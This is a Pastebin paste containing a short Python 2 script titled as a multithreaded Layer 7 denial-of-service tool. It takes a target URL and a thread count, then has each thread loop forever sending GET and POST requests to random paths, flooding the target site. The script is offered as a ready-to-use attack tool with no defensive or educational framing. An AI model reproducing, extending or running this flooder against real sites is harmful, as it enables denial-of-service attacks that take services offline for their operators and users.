SHARE
TWEET

HTTP-RAND | Layer7 DoS Script (MultiThreaded)

scaredkys Nov 22nd, 2019 (edited) 161 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import os
  2. import requests
  3. import threading
  4. import argparse
  5. import random
  6.  
  7. def main():
  8.     while 1:
  9.         try:
  10.             r = str(random.random())
  11.             requests.get(url+'/'+r)
  12.             requests.post(url+'/'+r+'.php')
  13.  
  14.         except:
  15.             print 'error'
  16.             pass
  17.  
  18. if __name__ == '__main__':
  19.     try:
  20.         parser = argparse.ArgumentParser(
  21.         description="HTTP-RAND | SmallDoink#0666"
  22.         )
  23.  
  24.         parser.add_argument('url', help="URL to attack")
  25.         parser.add_argument('thread', help='threads')
  26.         arguments = parser.parse_args()
  27.  
  28.         url = arguments.url
  29.         t = int(arguments.thread)
  30.  
  31.         print 'starting http-rand | Ctrl^Z to Stop'
  32.  
  33.         for i in range(t):
  34.             print 'starting thread'
  35.             threading.Thread(target=main).start()
  36.             print 'connection made | started flood'
  37.     except:
  38.         pass
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top